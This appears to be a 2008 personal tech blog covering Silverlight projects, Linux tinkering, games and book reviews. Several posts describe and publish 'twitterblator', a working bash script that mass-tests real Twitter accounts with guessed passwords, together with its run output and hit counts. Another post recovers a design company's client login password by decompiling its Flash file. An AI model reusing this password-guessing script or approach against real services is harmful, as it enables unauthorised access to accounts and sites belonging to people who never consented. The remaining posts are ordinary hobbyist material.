Beware: some terms are used in a manor that implies it has already been explained or that 'everyone' should already know, when in fact they terms are completely explained a few (sometimes more) page further on.
A good example of this is 'midden', did you know what it was already ??


SWF files are not good placed for passwords
Fri, 11 Jul 2008 20:58:05 GMT
I was surfing to a web site that was missing the content I was looking for, frustrated I checked the source. Along with the google analytics tracking bug that 90% of all pages seem to have was an IFRAME with the src encoded.

e.g. the http:// bit was http://  

Intrigued I followed the link to a Spanish design company whose entire web site was in flash, with the page on clients showing a flash login box.

Using FireBug I established that when text was entered in the login form no data was sent to the server, that meant the flash verified the password ;)

I tried http://www.swftools.org  but that was geared to extracting objects not code (it also had many tools for creating SWF flash files from other formats) but, this had a link to http://flasm.sf.net/ a SWF disassembler which in turn had a link to http://nowrap.de/flare.html a flash decompiler

Once I had this installed I ran it on the .SWF file and it gave me a .FLR text file in the file was ...

if (login eq '1970')umungst other things, unsurprisingly that was the password to the site :)


published in Linux format sugar overload
Thu, 10 Jul 2008 22:40:56 GMT
Last month Linux Format were complaining that LUGs never had a future schedule and so they could not easily do a feature about specific meetings/groups.
They asked that any LUGs that could specify a schedule to do so...
I sent the a few words about things we had done in the past thinking we might get a passing mention.
This is what is published http://www.jumpstation.co.uk/linux/linuxformat108.jpg not on an obscure page in the middle but right at the beginning after the monthly news !!
Linux Format LXF108 August 2008

Of course they printed something slightly different from what I sent. Original follows.

================================================

hi,

The Herdfordshire Lug meets every second Wednesday of each month WITH OUT FAIL.

We always have Wifi and wired internet, beer, fun and random demos from members.

If we ever decide before the day something specific then its noted on the web site http://www.herts.lug.org.uk/

Past events include live jamming with instruments recorded by a 'Jack' system.
A talk from the open street map guys.
VMware and 'screen' live demos.
Linux themed pub quizzes.
An introduction to talking the LPI linux exams.
Blender walk-through creating and 'apple storm' and a follow up showing Blender 
animation.
Random ad-hoc discussions about programming, system administration, current 
events and more.
Hardware hacking.
etc
etc.

everyone is welcome, we often get people who have never actually installed Linux but want to find out more right up to hard-core system administrators who use Linux ever day.

Maybe you could feature mini reports from Lug meets, 200 words or less ?

p.s. Linux format ROCKS !

================================================

it appears I had eaten too much sugar and did not think to proof read it first :(


silverlight 2 beta2 code
Thu, 10 Jul 2008 22:36:26 GMT
Silverlight code is now 2 beta2 compatible, mainly some animation APIs need an additional parameter.
http://www.pay4foss.org/jumpstation/silverlight/


silverlight 2 Beta 2 kills 2 Beta 1
Tue, 17 Jun 2008 19:50:46 GMT
I was going to write about how good silverlight was an how I was having fun using it, but it appears the latest release 2 beta2 breaks 2 Beta 1 code, like mine http://www.pay4foss.org/jumpstation/silverlight/


goodbye dear friends I will miss you you out of date pieces of
Tue, 10 Jun 2008 19:33:02 GMT
I was saddened to lose three friends, having known them for 10-12 years I had forgotten them in recent times. Unfortunately they were now obsolete and although I relished the good old days there was no room (literally) for them in my life.
First casualty was The VRML Source book - from which I created VRML lego and the first dynamic VRML via JavaScript.
then there was my well worn and trusty (huge) JavaScript book which I had used so much it was falling apart.
Finally the only book that I ever contacted the publishers to congratulate them on such a well designed book 1001 Java Programmer's Tips. 
When I was learning Java back in the day I had plenty of the "learn Java" dry books that taught "if" and "switch" statements but I already knew how to code in Java because of my C and JavaScript background. 1001 tips showed me just what I need to know to use each function in a manor that 100's of web sites do today for code snippets.
Goodbye and thanks for all the code :)


WHSmith demands more loyalty
Tue, 10 Jun 2008 19:21:06 GMT
I have had a WHSmith's card for over 5 years and every time I make sure it is swiped every time I am in there but I have never had a statement of the points I have built up what I could do with them.
So I was surprised to find one shop telling me that although the card balance was listed as 0 I had credit of £5, I was in a hurry so ignored this until I had something further to buy ...
So after 5+ years of buying DVDs CDs and all manor of other things from WHSmith I have a grand total of ... £3.83 :(
Well at least I will have more room in my wallet.


silverlight love
Tue, 03 Jun 2008 22:36:58 GMT
So does this mean I like silverlight? well, lets just say I now have the hang of it and I a well aware of it current limitations.
I think silverlight will succeed especially when the mono project produce a tried and tested multi platform plug-in for all browsers.


twitternice and mousetrails silverlight released
Tue, 03 Jun 2008 19:46:43 GMT
After the warm reception my IDOUDO (a simple simon game with sound [2 beta 1]) got over at silverlight.net I decided to release my two other silverlight projects (with source code)
First up is mousetrails which creates fading shaded 'balls' dynamically, very simple.
Then there is the twitternice a twitter message data visualiser, with lots and LOTS of dynamic animation making looking at twitter feeds more interesting ;)
screen shot
Whats clever about twitternice is that if a proxy web service is available (included in source code then the messages used are 'live' but if not then ten static xml files are used instead (these have been anonymised)
I wonder how long before Mono moonlight release a 2 Beta 1 plugin for Firefox for Linux ?


big buck bunny blender open movie released
Tue, 03 Jun 2008 19:44:32 GMT
Check out the Big Buck Bunny blender open movie here WOW!!
Not only is every single individual frame available but all the objects, textures, rigging setups, sounds and soon a DVD image!
This follows on from the blender open movie elephants dream which although technically impressive elephants dream was rather abstract and non-mainstream i.e. not produced by Hollywood. Big Buck Bunny on the other hand is very Peach team created custom tools to aid in the films production (as with elephants dream) and these changes will make there way back into the main blender application to benefit of all users.


Compiz on a ten year old laptop
Fri, 30 May 2008 21:49:23 GMT
Installed compiz on the 10 year old laptop and got the rotating cube (with reflection, caps, transparency and gears), wobbly windows, fire, 3D windows and few other options to work perfectly !
In fact the only problem I had was with them all on the machine would sometimes pause for couple of seconds and the menus in blender did not display.
I showed this amazing eye candy to Sarah and her response was "what am I looking at?" :(
The laptop benefits from having a proper Nvidia card in, many laptops old and new, expensive and cheap have Intel or unbranded on-board graphic cards that can not hack the 3D acceleration.


ubuntu hardy heron update complete
Sat, 24 May 2008 11:44:40 GMT
Ubuntu machine just stopped at 197 files rebooted and ... here we go again ...
Now upgrade fails because some files can not be downloaded, 5/2000+ :(
Switched from main Ubuntu GB servers to virgin and files are downloading ...
Update complete, rebooted and ... not wifi :(
Tried to rebuild custom wifi driver ... weird errors nothing on google, luckily I have a few wifi cards, tried another and that works, phew!


ubuntu upgrade secret sauce
Wed, 21 May 2008 22:08:04 GMT
I wanted to update my Ubuntu laptop so I let the update manager find new packages, found a few. Updated those and then rebooted ... and ... ?
No distribution upgrade to Hardy Heron.. googled and searched and eventually found the secret sauce to beupdate-manager -d
now upgrading ...


good book In the Evil Day
Mon, 19 May 2008 21:01:44 GMT
Book review from a few weeks ago.
"In the evil day" by Peter Temple, powerful spy thriller without the spies, loved it, a more adult approach to intense thrillers than Dan Brown.
If you think you can take it, I recommend it !
Starts in South Africa but soon swings between Hamburg and London as the two lead characters are slowly intertwined with repressed memories and force that is wiping out all traces ... of what !


the end is near 119 stars
Sun, 11 May 2008 22:54:36 GMT
119 stars !!
Unfortunately the last level is a real doozy


silverlight and the mouse exit bubbling failure
Thu, 08 May 2008 21:06:02 GMT
More silverlight woes, but I am unsure if this is a bug or not.
An object (in this case a circle) with a mouse-over that shows a tooltip, a name and mouse-exit that hides said tooltip.
Works perfectly if the mouse enters the circle and exist without touching the tooltip, but if the mouse moves over the now displayed tooltip the circle receives the mouse-exit and hides the tooltip then the mouse moves and the tooltip is shown again, flickering on and off.
Silverlight has a HitTest function so I should be able to test to see if the entry into the tooltip is in-fact still over the circle but NO the mouse-exit refuses to tell you where the mouse is.
hmmm? So I wrote a global mouse-move update global position handler and ...
Same issue. Turns out the mouse-move fires as the mouse moves to the edge of the circle but the moment the mouse exist the mouse-exit fires and at that point my global position is still inside the circle, grrrrrr!
Not sure how to fix this one, the obvious way is to move the tooltip but that spoils the whole look of the application.


silverlight moans
Thu, 08 May 2008 20:58:58 GMT
Todays reason for disliking silverlight:
Error messages; Either you get "Catastrophic Failure" which actually means the XAML is referring to an object that does not exist or one of a number of generic error messages that tell you absolutely nothing about the issue.
I will expand on that last one with an example. I wanted to dynamically create an object and animate it. To do this I had to create a Storyboard to hold the animation, create the object and assign it a render transform (e.g. rotate), create a doubleanimation (thats double as in floating point number), stick them all together and apply them to the root canvas.
This compiled but when I started the animation I would get either an ERROR or and ERROR and a known meaningless hex value. I tried all sorts of things, turned out that the Render Transform had to be created separately and assigned instead of being used from within the valid element I was using.
And another gotcha on that side of things, a doubleanimation has a target property e.g. Angle for a rotate transform and Opacity when you are fading in or out. But where with Opacity (and a number of other animation types) you target the object for rotate you must target the render transform IN the object, even though you are explicitly referencing Angle ...
I found a proper silverlight bug (that I reported), a border object in a canvas is not displayed when said canvas is dynamically unhidden, everything else on the canvas is unhidden along with it but the border stays invisible.


Mario Galaxy vs Mario cart for the Wii
Tue, 29 Apr 2008 22:47:22 GMT
*grumble* *grumble* silverlight f*%$^ ...
While not hating silverlight I am trying to complete Mario Galaxy on the Wii, now up to 116 stars out of 120 but ...
Sarah ordered Mario Cart for the Wii for my birthday, it did not turn up. We rang after a week and were told we had to wait at least seven working days.Still did not show up so rang got our money back. At the weekend I spent sometime in the garden with Alex, it just so happened that by pure fluke I followed the football we were playing with down the side alley and there was a cardboard box under so empty bags.
So we paid (again) and I have Mario Cart for the Wii with the steering wheel. Only got a to try it for a short while but seems a lot of fun and the online stuff had zero lag.


Wild fire book review
Sat, 26 Apr 2008 22:24:32 GMT
When I am not busy hating silverlight I have been reading "Wild Fire" by Nelson Demille.
My Dad lent me this so I had not read the jacket before starting, this gave me a much more enjoyable experience, but as most people read the jackets before choosing a book I wonder what everyone else's experience was like.
First off I liked this book, it was funny, gritty and down right entertaining, and sometimes that's all you want so I am pleased to say this book offered that little bit more. 
Everything (that could be) seemed routed in reality and the list of acknowledgments attests to how thorough the author is which took away from the problems in a Dan Brown books [1] [2] [3].
Perfect page turner, not to deep but enough to keep you interested and nothing so far out there it breaks the spell.


source for IDOUDO silverlight game
Thu, 24 Apr 2008 21:36:17 GMT
Here is the promised source
Page.xaml
Page.xaml.cs
Images and sound are in the ClientBin/slOverclick.xap file with is a zip file, just rename it.
Todays reasons to hate silverlight, does not handle GIF files and crossdomain.xml is flakey.


idoudo silverlight game released
Wed, 23 Apr 2008 21:33:16 GMT
I still hate silverlight but at least I managed to produce a small game with it.
 http://www.pay4foss.org/jumpstation/idoudo
Obviously it requires the silverlight plugin so for you with that or a working moonlight, it is a simple simon type game with blocks (rendered in Blender) that light up in a sequence that you must repeat getting longer and longer.
There is also sound created from scratch in audacity and an ear created in inkscape.
Before you can start you must click the button marked "click to begin", this caused be no end of problems as one of the (many) known bugs with silverlight is you can not change the visibility of a button in its own onclick event.
Then there is the "you can not play the same sound more than once" bug and many MANY others.
So although this is a simple game it was a  struggle to get it to do the simplest things.
I will not mention mime types or URI references ...
Source tomorrow, when I have tidied it a bit.


twitterblator final numbers
Mon, 21 Apr 2008 21:25:15 GMT
And the final twitterblator results are ...
134 hits (validated passwords) out of 49226 unique attempts.
Thats 1 in 367, which is pretty good really.
Remember as with any statistics this 1 in 367 is during the duration and date of my experiment, tomorrow no accounts used may be susceptible and the day after all the accounts used maybe bad.
As for future twitter experiments I have actually gone off the idea due to time it would take and instead I now playing with sliverlight.
Silverlight hates me and I hate silverlight (at the moment).


twitterblator conclusions
Sun, 20 Apr 2008 22:44:27 GMT
twitterblator conclusions:
*Is running this evil? No, I do not record badly secured accounts nor do *ANYTHING* with them.
*Is the releasing the code evil? Hmmm, in theory any code can be subverted, I see nothing that is difficult or clever or even "script kiddie" friendly in the twitterblator code.
*Can twitter stop twitterblator? Yes, but it would be very hard for them. Either they profile usage i.e. check the repeated checks of accounts from a single IP address or lock down the API and access to twitter, this would kill hundreds of existing applications and web sites.
*Can twitterblator be used or modified for use with other micro blog sites? Yes, but it may take a lot of work due to *most* sites locking down the sort of access twitterblator make use of. Twitter has a verify account API option, I never *tried* to log this accounts in.
*What was the final ratio of secure to insecure accounts? answer tomorrow... 
I was going to release the results under a "unnamed social site" but as so few users are affected I am happy to shout TWITTER all over the place.
Also, remember that if a user did not twit or was set to a private account during the test then they were not included.
Now for my next twitter project (as the source is so rich) ...   ;)


twitterblator source code
Sat, 19 Apr 2008 21:32:21 GMT
OK the twitterblator code, short and sweet#!/bin/bash
# twitterblator tb.sh
# 16/04/2007 - 
# tests twitter accounts for 'default' passwords
# see README for more information

USERAGENT=`cat agentstring.dat`
TEMPFILEUSERS="temp.users"
TEMPFILEUSERSDD="temp.usersdd"
TEMPFILEACCESS="temp.access"
DATABASE="db.users"
VERIFYURL="http://twitter.com/account/verify_credentials.xml"
SOURCEURL="http://twitter.com/statuses/public_timeline.rss"
HITDB="db.hit"
TEMPFILEHITS="temp.hit"

wget --quiet --wait=4 --random-wait -O - -U "$USERAGENT" $SOURCEURL | grep "^\W*" | sed -e 's/.*com\/\([^\/]*\).*/\1/gi' > $TEMPFILEUSERS

# do deduping here
rm -f $TEMPFILEUSERSDD
touch $TEMPFILEUSERSDD
echo "Deduping"
echo "|--------------------|" # most likey 20 lines
echo -n " "
while read line; do
	echo -n ":"
	grep -w -q $line $DATABASE || echo $line >> $TEMPFILEUSERSDD
done < $TEMPFILEUSERS
if [ -e $TEMPFILEUSERSDD ]; then
	cat $TEMPFILEUSERSDD >> $DATABASE
fi
echo ""

# setup usernames and passwords
awk  '{ if (length>5) printf("--user=%s --password=%s\n",$0,$0); else printf("--user=%s --password=password\n",$0); }' $TEMPFILEUSERSDD > $TEMPFILEACCESS 

# check accounts
rm -f $TEMPFILEHITS
echo "checking accounts"
echo "|--------------------|"  # most likey up to 20
echo -n " "
touch $TEMPFILEHITS
while read line; do
	echo -n ":"
	wget --quiet --wait=4 --random-wait --delete-after -U "$USERAGENT" $line $VERIFYURL && echo 1 >> $TEMPFILEHITS
done < $TEMPFILEACCESS
echo ""

# report results
echo -n "found "
if [ -e $TEMPFILEHITS ]; then
	echo -n `wc -l $TEMPFILEHITS | cut -d " " -f 1`
else
	echo -n "0"
fi
echo " hits in last attempt"
cat $TEMPFILEHITS >> $HITDB

echo -n "that is a total of "
if [ -e $HITDB ]; then
	echo -n `wc -l $HITDB | cut -d " " -f 1`
else
	echo -n "0"
fi
echo -n " hits for "
echo -n `wc -l $DATABASE | cut -d " " -f 1`
echo " users"

# tidy up temp files
rm -f $TEMPFILEUSERS
rm -f $TEMPFILEUSERSDD
rm -f $TEMPFILEACCESS
rm -f $TEMPFILEHITS 
As always I could have done it very differently, less temp files, different language etc. but this was a quick hack and I was presently surprised how quickly I got the AWK and the deduping working :)


too twit to twoo
Fri, 18 Apr 2008 17:37:14 GMT
Twitterblator update. Its been running for over 16 hours andDeduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::
found 0 hits in last attempt
that is a total of 47 hits for 11939 users
It's worth noting at this point that twitterblater is not in violation of the Terms of Service as once an account has been verified nothing is done, i.e. the user is not logged on. Nor is any information pertaining to which user was verified or what type of default password was used is recorded.
while true; do sleep 65; sh tb.sh; done
I have got to say for a service that lets you use its system *WITHOUT* verifying your email address I expected a much higher hit count. But one thing I did notice is lots of twitterers have non English user names and posts so maybe I should trying the localised version of "password" :)
The "Deduping" section above make sure the regular posters are not repeatedly targeted and the number of ":" under "checking accounts" is the number of new unique usernames to try out of the twenty received each time.
So at the end of this I am going to have a text file with thousands of usernames ...
Oh, publishing the code, erm maybe tomorrow ...


launch of the twitterblator
Thu, 17 Apr 2008 22:54:42 GMT
Steve alerted me to twitter,a microblog site that can be easily updated.
I decided to have a look after I saw answerme and noticed it was accessing *everyone's* twitters, though that turned out to be just public twitters.
Time to have a look at twitter. First off there is a public "latest posts" page with an rss option, not only easy to scrape but application developers are encouraged to do so.
Its worth noting at this point that the *many* twitter alternatives lock this functionality down by requiring access via a registered APPID (application identifier supplied by the site owners).
Next, instead of having to connect via a POST HTML form twitter allows anyone to *try* a username and password combination and return success or failure.
So it took me almost no time to write a bash script that;
Retrieved the latest public twitterings.
Parsed out all the user names.
Tried each user name along with a default password.
Logged if the combination was a success.
Reported how many hits had been found against the total attempted.
Default password is either the user name or "password" as twitter passwords have to be 6 characters or more.
Currently Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::::::::
found 0 hits in last attempt
that is a total of 3 hits for 800 users
Now to leave it over night ...
And the name for this naughtiness ? the twitterblator.


a cat named the book of the dead
Mon, 14 Apr 2008 21:49:03 GMT
The last book review was almost a 9 months ago, I am sure I have read something since then ...
I got a signed copy of A Cat Called Birmingham(paperback), the author lives near my mum. Looked a bit odd, subtitled "A biography of nine lives" but was actually really good.
Read a bit like a number of blog posts recounting events in the cat+owners lives, very easy to read guaranteed to make you laugh out loud or at least chuckle. Which itself is odd due to most of these "events" relating to cat-tastrophes of a painful nature.
Since then I have also read "Patricia Cornwell's Book of the Dead" which was a gift from my Aunt.
This book has the grip of Dan brown book but with out the constant feeling you do not want to be reading it. Very well done, three dimensional characters and twisting interweaving story line that at one point I was worried was going to come out all 'Hollywood' and spoil everything but left me with a contended feeling I read a good book !


boa 502 cgi error
Sat, 12 Apr 2008 20:01:31 GMT
Boa cgi and 502 Bad Gateway
The CGI was not CGI/1.1 compliant.
even with the simplest perl script, turns out that all CGi scripts *MUST* output the mime type of the content e.g.
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "zombie"
just to get the single word output "zombie"
Surprisingly this information does not appear anywhere for the 502 error but if you read numerous CGI "getting-started" tutorials the requirement is made. Some web servers have a directive to disable the requirement.
Boa is currently running on my NSlu2


the finger mouse future is here
Mon, 07 Apr 2008 21:29:35 GMT
WOW! I need to buy shares in the company making anything called a USB Finger Mouse
The future is here


EXIF data to file stamp script
Sat, 29 Mar 2008 23:34:52 GMT
I have been updating the Alex web site and I needed to sort through 113 images that had been taken on different days but uploaded and the same time and had the same time stamp.
Konqueror would show me the real "creation date" when I hovered over an image but in the View menu "Show Create Date" column option was grayed out.
Turns out the Creation date is part of the JPEG meta data not the file data sooo ...
I downloaded exiftags to get some command line tools that look at photo meta data EXIF data.
Then I wrote this small shell script, worked perfectly.
#!/bin/bash
#takes supplied file name extracts exif creation information and applies via touch
#call with ls *.jpg | xargs -n 1 exiffix.sh
# to update all jpg files in current directory

dtstamp=`exiftime $1 | grep Gen | sed -e 's/[^0-9]//gi' -e 's/\([0-9][0-9]\)$/\.&/'`
touch -m -t $dtstamp $1
Small note, any backup software/scripts may exclude these files as the dates are further in the past.


tmp get wiped on reboot
Tue, 25 Mar 2008 20:38:54 GMT
Note to self:
/tmp get wiped on reboot.
I have not lost anything important but I did have some stuff in there that I was still using :(
that will teach me to have 150+ uptime.


funny and clever
Wed, 19 Mar 2008 21:41:43 GMT
Funny and clever ?
http://www.abyssandapex.com/200710-wikihistory.html


111 stars
Tue, 11 Mar 2008 23:01:58 GMT
111 stars 6 to go before 00 but at least 9 to go before all and then do all again as Lugi !
Some are not as difficult as they first appear only requiring a bit of strategy.


wifi fixed on zaurus
Tue, 11 Mar 2008 23:00:46 GMT
OK, fixed wifi, the sync cable network interface was taking precedence, even though it was not connected.


zaurus reborn as angstrom
Tue, 11 Mar 2008 22:57:54 GMT
The following took place a few days ago...
many moons ago I purchased a zaurus 860 and I used the default sharp ROM.
But there was only add hoc development of programs I wanted to run so I switched to cacko ROM.
After sometime this too became unstaffed (there was only ever one developer/maintainer) so I sought out the many different ROMS available, looking for one that was in active development.
I thought my search had ended when I found pdaXrom but last year after enjoying very active development community all development stopped :)
I had looked around and found Angstrom but it was targeting lots of PDAs and no stable releases had been released back then. Well I had another look and it is much more spritely now.
pdaXrom was famous for its uboot system, so I had to revert to the original sharp ROM but installing Angstrom was then easy.
Wifi support was the main problem I had had with the zaurus, so I was very pleasantly surprised that it worked perfectly, though there was no obvious dhcp client, had to use the GUI (now found udhcpc).
So everything was hunky dory ? almost. I used the package management system to install applications I wanted one after another via the wifi until "Error: no space on device". Oops! I had forgotten how small the internal drive is.
I had a 512mb SD card in the machine soooo.. I was VERY sneaky, I do not recommend you follow what happens next ...
I used du to find out that most of the space was being used by /usr, so I created a copy on my SD card and tried to make a symlink to that directory but couldn't cos the drive was FAT16 (needed for all the ROM swapping). 
Reformatted ext2, re-copied /usr successfully created a symlink from /usR to the /usr on the SD card moved the original /usr to /usr.old and moved the /usR sylink to /usr and rebooted ...
It worked everything worked perfectly ... NOT! most things worked but the special keys on the keyboard were failing so I could not type "/" which was a pain, luckily I could use the on-screen keyboard but it still took ages to run commands etc.
The "Fn" modifier key was returning a "~" and shift was not affecting the other keys as expected.
Turns out the loadkeys command was in /usr/bin and was run before the drive was mounted ;)
Copied over the loadkey cut and awk commands to /bin but it needs libconsole from... u guessed it /usr/lib.
In the end I just moved the startup script for loadkeys to the end of the sequence after the drivers are mounted.
hmmmm, now wifi is not working :(


Untraceable movie not bad
Tue, 11 Mar 2008 22:55:25 GMT
Just saw Untracable a movie about an internet website setup to kill the victims faster the more people log on.
Strangely enough this is a good film, not an amazing film but above average. There are moments of over acting and when the FBI officer states the "IPs are being blacklisted" she looks like she's faking it.
However, the tech speak, tech story and tech usage is about 95% accurate, some minor hollywoodnisms but on the whole total believable, of course things are missing and I am sure the FBI would work slightly differently but ...
This such a change from for instance the computer usage in first mission impossible film and numerous others where Hollywood just did what ever the hell it liked and damn the techno geeks watching.
Untraceable also asks a lot of questions, like are the visitors technical accomplices? and what is the FBIs role in free speech.


STOP THE PHUN
Tue, 04 Mar 2008 22:36:14 GMT
In other news "FOR PETE's SAKE WILL SOMEONE STOP! THE PHUN" as it is sucking time I should be devoting to krum and other such projects.
That said I created a wicked block launcher fed by a hoper that fires different weighted blocks all over the palce including into a set of almost weightless towers that crumbly most pleaseingly ;)


a chat star is reborn
Tue, 04 Mar 2008 22:29:14 GMT
Sanity is restore, this a repeat of an earlier post that got removed, but will be duplicated in the RSS.
It took a while ( I have been sick) but here is chat☆, enjoy.


FAIL again
Tue, 04 Mar 2008 22:26:04 GMT
Main page is gone so is my other post, trying again ...


FAIL
Tue, 04 Mar 2008 22:20:17 GMT
Oh! something went wrong, we went off the air for a moment, lets see if just posting again fixes it...


a chat star is born
Tue, 04 Mar 2008 22:04:21 GMT
It took a while ( I have been sick) but here is chat☆, enjoy.


shiney star is on the horizon
Wed, 27 Feb 2008 22:38:13 GMT
chat☆ is coming, in fact it would have been tonight if I had not misplaced a couple of image files...
there is always tomorrow, except I am not doing it then, so maybe Friday.


blender and the case of the unduplicated materials
Wed, 27 Feb 2008 21:18:59 GMT
Do you remember my blender frustrations trying to add a "label" to a glass "jar" ?
I thought I would just do something really simple with the completed object, duplicate it many times at put it on a shelf. So I duplicated the object a few times did a test render and ....
The label was only showing on the original. Checked every thing was in place and after a little head scratching found that my solution of using an Empty to define where the "label" should go was not being duplicated or more the fact it was. 
A duplicate contained all the object making up the "jar" including the Empty for the "label" but the material details were all pointing to the original Empty.
After much search I found no way to duplicate the material settings in the blender GUI so I turned to python again.
Not easy and not quick, the final code can be downloaded for educational purposes only shelved.py
You see I had to..
get currently selected object
make MASTER group
add selected objects into the group
make a NEW group
duplicate the MASTER group (this was easy, just ask for a duplicate and tick the box that say new material/texture)
add the new objects into the NEW group
loop through objects and find the "label" and "Empty"
get the materials for the "label" 
get the textures for the materials of the "label"
assign the new Empty to the texture of the "label"
(then for fun)
randomly rotate the contents of the "jar"
randomly shift the label slightly
unselect the new objects
select the old MASTER group 
rinse and repeat.
It took me sometime to come to that solution and I learned a lot. I have yet to actually make the shelf and produce a final render ...


93 stars mario galaxy wii
Wed, 27 Feb 2008 20:55:32 GMT
I have complete Mario Galaxy -ish, well I got the star count down to 0, beat bowser, got the credits and the "the End" message but..
I loaded the save and the counter had reset to more than 40 ! I have now unlocked all the rooms including the "gate" and the "garden" and opened and completed the "trials" leaving me with 93 stars and count down of 27.
I have completed very few of the comets or the purple coin challenges but I have completed all the individual challenges.
The difficult ramped up pretty quickly after the first 50 stars, now every time you reach one you really feel you earned it.


are spammers lazy or just plain stupid
Wed, 27 Feb 2008 20:49:20 GMT
Getting a few hundred spams a day means the likelihood of reading any one is very small but for some reason this one caught my eyeFrom: 
NationWide Building Society [phishing@nationwide.co.uk]
To: spam@jumpstation.co.uk
Date: Sunday 16:46:06
Subject: Dear customer
Are spammers lazy or just plain stupid ?


we won the lottery
Sun, 17 Feb 2008 22:03:13 GMT
We have won the lottery !! and its more than the £10 we normally win once a year at Xmas.
Thats right we are now ........
£58 richer :(
hmmmm does not even come close to the amount we have spent on tickets, still, you have to be in it to win it!


NSlu2 is born debian
Sun, 17 Feb 2008 21:55:01 GMT
I love valentines. When I first meet my wife she got me a wicked ceiling based flying apache helicopter and this year she has not disappointed.
I got her a nice necklace and she got me a slug!!
The NSlu2 (aka the slug) is cheap network storage adapter. You connect a USB hard drive and an Ethernet connection and that USB hard drives contents are available to your network.
Or you can install debian on it, guess what I am going to do/done?
First off I purchase a cheap 4G USB microdrive thinking the fact it is hard drive would help the life of use as standard USB flash drives are not ideal system drives with constant reads and writes, how wrong could I be ?
First up the NSlu2 has a default IP address of 192.168.1.77 which is not on my subnet, so change my subnet and try connect to the built in web server ... FAIL
I tried a few things including forcing a full system reset to factory defaults and using an old 10bT network hub (couldn't find my cross over cable) before it dawned on me the fact my pings were denied instead of timing out was the firewall was setup for my subnet and was stopping any action on 192.168.1.x :(
After that it was easy to connect change the IP address and start again, I even wrote a wiki page it was so arduous.
Soooo follow debian install instructions and get the firmware updated, easy.
Next step run installer via ssh and partition microdrive. Well the ssh was painful, I tried gnome-terminal,xterm,aterm,mrxvt but it was only konsole that handled the menu characters over ssh.
Then the partitioning, the drive was visible and I selected how I wanted it partitioned then FAIL can not read from drive, odd as it worked on my gentoo box.
Tried a few things, then gave up and used a USB flash drive, ssh disconnected FAIL
There are work arounds for this but I decided to cheat, I repartitioned the flash drive in gentoo then skipped the partitioning in the Debian installer and set it on its merry way, guide said 2 and half hours.
8 hours later it was asking if I wanted to continue, doh! my manual intervention had pulled it out of its default install cycle, it wanted loads of decisions made (all the defaults).
But eventually it worked, ssh'd in and plugged in the microdrive (the slug has two USB slots) worked fine, so I copied all directories to the microdrive and then rebooted ... FAIL
The initrd (and the Debian install flash) for some reason do not have what ever it is that is needed to mount the microdrive :(
I could rebuild the kernel or the initrd but in the end I have decided to sacrifice the flash drive and now have a spare microdrive ...
PHEW


LUG February fun
Sun, 17 Feb 2008 21:31:10 GMT
This months LUG was good, mike brought his touch screen epos terminal and we had fun trying to get X to handle the touch screen.
David brought his PC to demonstrate two systems he has created, one is multi drive disk ripper with play list manipulator and player all built in BASH.
But the other project was a python server client model remote presentations system with openGL 3D !
A client machine connect via Ethernet sends commands to a server that displays the contents, including images and text (with auto formating). The text is displayed in 3D and he has plans for many transitions, at the moment there is just an excellerating slide.
All very impressive, and I took my grey missile launcher and shot people ;)


prepare for the coming of a new star
Mon, 11 Feb 2008 22:39:16 GMT
Speaking of stars, a new one is coming soon ;)
That is of course if I get the time to complete it ...


50 mario galaxy stars 200 to go
Mon, 11 Feb 2008 22:37:24 GMT
50 stars in Mario Galaxy. Only 200 to go :)
Needless to say I have putting in any spare time into this VERY addictive game.


27 stars Mario Galaxy
Tue, 05 Feb 2008 23:00:26 GMT
27 stars in Mario Galaxy, which is not bad considering I am only playing it 30 mins every other night.


krum upload a success almost
Tue, 05 Feb 2008 22:57:30 GMT
After some other bit fiddling I have managed to get images on to the keyring !

Notice the back and white image works fine but the colour images are corrupted.
The bottom two are the same data so the corruption is not in the data but in the process...

I am considering the vast amount of debug data I generate is slowing krum down enough to cause these problems but why does the black and white image always work ?
To get the images on to the keyring I currently use image magick to convert a flat .xcf file to .ppm (-compression none) which gives me a ascii file and a bit of awk'ing and I get the byte data formated so I can drop it into the krum header file.
When I am ready to use an image library it will just require me to load the data in 3 bytes per pixel, krum then converts it to two bytes per pixel.


bad c
Mon, 04 Feb 2008 23:33:29 GMT
seems 0x11110000 is not a binary value in c, whoops thats half my problems, now something is overwriting memory. 0x00 0xF0 everywhere ...


data uploaded to device
Sun, 03 Feb 2008 21:50:09 GMT
Quick krum update, I have managed to upload some data onto the device !!
I say data because its does not look much like the image I started with, but it does have some characteristics so there is still hope.
It is quite mind numbing looking at pages and pages of hex URB USB data or screens full of my hex debug data ...


a little toque goes a long way
Mon, 21 Jan 2008 21:16:24 GMT
Maybe I should mentioned that one of the screws in the rocket launcher is a rivet and I spent the most time carefully pulling the barrel apart very carefully.
Slow and steady one the race with the plastic bending rather than shattering and then going back quite nicely afterwards.
The screws them selves were VERY tough to turn, so may the toque be with you.


Cannon dissassembly
Mon, 21 Jan 2008 21:11:40 GMT
Servers were down at work so I offered to fix my colleagues USB rocket launcher.
At first I thought it was software so I tried Sharp Launcher but it had the same problem, would move but would not fire.
So I got permission to disassemble the unit looking for loose wires ( I had found one in a non-functioning Classic grey USB missile launchers and a quick solder had fixed it).
32 screws came out 27 went back in, but I did find the culprit, a mini motor deep in the firing mechanism (highlighted in last image).
A quick twiddle (technical term for twisting it for no good reason other than there was nothing else to try) and it was fixed. Surprisingly quick to put back together.



1and1 are good
Sat, 12 Jan 2008 22:19:41 GMT
You may have seen the banner

 that accompanies my flog postings, what you might not realise is that I created it sometime ago and it currently receives an average of 600 unique IP hits a month.
(I was unaware of the statistics until) I got an odd email from the hosting company 1and1.co.uk who I had found very good.
The email noted I had received a £25 affiliate referral for a single order placed via the link at the bottom of the page!
So not only are 1and1 cheap, easy to use, have great online management and statistical tools but you can make money FROM them!


flog yearly update completed
Sat, 12 Jan 2008 22:04:50 GMT
It is as badly put together as previous years but the yearly summary is ready and the archives have been updated.
/flog/archive.html
/flog/year2007.html
(mainly for my reference)


name a star scam
Sat, 12 Jan 2008 21:56:53 GMT
I got a few http://www.whsmith.co.uk/ vouchers for xmas and could not find anything I wanted, no DVDs and Mario Galaxy is not out yet.
Oh, and you can not use the vouchers on line even though they are in the form of magnetic card(i.e. unique ID).
But then I found " name a star "
Gift Pack Contents: Welcome letter, An explanation of the gift, Star naming instructions, Unique information about your star, A guide on how to locate your star, Star & astronomy booklet, Presentation certificate, Personalisation pen, Presented in a luxury metal gift tin.
